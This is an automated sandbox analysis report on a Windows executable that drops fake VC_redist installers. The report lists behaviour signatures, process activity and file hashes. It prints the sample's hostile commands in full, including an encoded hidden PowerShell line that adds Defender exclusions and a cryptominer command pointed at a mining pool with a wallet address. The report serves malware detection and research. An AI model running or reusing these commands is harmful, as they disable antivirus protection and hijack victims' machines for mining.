Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-01-2025 21:07

General

  • Target

    72d7f2c25d9368c8e60be5aea600336106be8ed587176c2d9be66ae059a700d0.exe

  • Size

    3.2MB

  • MD5

    ef95037bc2bc262ebf19f6d0e32989aa

  • SHA1

    3758acfc8f32db765d3bed155293c10e9f2d563c

  • SHA256

    72d7f2c25d9368c8e60be5aea600336106be8ed587176c2d9be66ae059a700d0

  • SHA512

    da21c049dc5f7397c32e62b03e49c72933fe9ad16c90fb85d5dc12ad5b3e5ca08068096fb8d1befdbbfb92137cea1a852f6cdecac7ab77906d6a62b28e26631b

  • SSDEEP

    49152:ZsvZqioD6MlKCXijBNt9BlXMJq7FSFG+85whW7QMt9XoayEIu3tyws:ZshoDVKCXidDDpRSFG+fhWM6CoIudBs

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Embeds OpenSSL 1 IoCs

    Embeds OpenSSL, may be used to circumvent TLS interception.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\72d7f2c25d9368c8e60be5aea600336106be8ed587176c2d9be66ae059a700d0.exe
    "C:\Users\Admin\AppData\Local\Temp\72d7f2c25d9368c8e60be5aea600336106be8ed587176c2d9be66ae059a700d0.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4476
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3968
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"
      2⤵
      • Enumerates VirtualBox registry keys
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2992
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwAVAB5AHAAZQBJAGQALgBlAHgAZQAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABJAHMARgBpAHgAZQBkAFMAaQB6AGUAXABUAHkAcABlAEkAZAAuAGUAeABlAA==
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2164
  • C:\Users\Admin\AppData\Roaming\IsFixedSize\TypeId.exe
    C:\Users\Admin\AppData\Roaming\IsFixedSize\TypeId.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2036
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:rSD9orXxAHU34odXRhL8dgpnB6dyJNzqU5.RIG_CPU -p x --cpu-max-threads-hint=50
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:816

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe

    Filesize

    628KB

    MD5

    ad0b3e8f6319b7fd1ead16ffe7f5be6b

    SHA1

    02ff5714aa418cf9a17eb9c17c0f02753746eac4

    SHA256

    f585688233737a15a893b0c8fb66f75bea8478e0fed11a9c72a28dd7d048ccdc

    SHA512

    d62c2f4a40aeed7c433b842768065b0f39496ab58e205ac008fb583e9b0018f851258ec675c8bca8cb96ced95bd568820a4bb2e9ff06c70ba7fde7b96db8f72a

  • C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe

    Filesize

    7.7MB

    MD5

    f6b28de198800179a0cedaf80a94d2bf

    SHA1

    d4ebd56bf9f0d09763b0dc7d5744833ba0a07af3

    SHA256

    a93027840829eabd77e96b893e7afdabf832702fb9e95b056a45809e448fec2f

    SHA512

    1c8cb16058d19a4fdd323e5736a55e1aa8d41b3cd6af0012c764b67dcb9af2a2527ec9b8a08cefc2749cba93e6ffd7bc967497b431e02dc3ba822e42e2fd929a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_asckbanl.3z1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2164-2629-0x000001EC64980000-0x000001EC649A2000-memory.dmp

    Filesize

    136KB

  • memory/3968-61-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-39-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-55-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-47-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-38-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-31-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-53-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-59-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-81-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-77-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-75-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-73-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-71-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-69-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-67-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-45-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-63-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-79-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-17-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

    Filesize

    10.8MB

  • memory/3968-51-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-2642-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

    Filesize

    10.8MB

  • memory/3968-57-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-65-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-43-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-41-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-35-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-33-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-29-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-27-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-25-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-23-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-21-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-19-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-18-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-2622-0x00000289CC880000-0x00000289CC8D6000-memory.dmp

    Filesize

    344KB

  • memory/3968-2623-0x00000289CC820000-0x00000289CC86C000-memory.dmp

    Filesize

    304KB

  • memory/3968-2624-0x00000289CC9E0000-0x00000289CCA34000-memory.dmp

    Filesize

    336KB

  • memory/3968-2625-0x00007FF865413000-0x00007FF865415000-memory.dmp

    Filesize

    8KB

  • memory/3968-2626-0x00007FF865410000-0x00007FF865ED1000-memory.dmp

    Filesize

    10.8MB

  • memory/3968-16-0x00000289CC720000-0x00000289CC818000-memory.dmp

    Filesize

    992KB

  • memory/3968-15-0x00000289B2230000-0x00000289B22D2000-memory.dmp

    Filesize

    648KB

  • memory/3968-49-0x00000289CC720000-0x00000289CC814000-memory.dmp

    Filesize

    976KB

  • memory/3968-14-0x00007FF865413000-0x00007FF865415000-memory.dmp

    Filesize

    8KB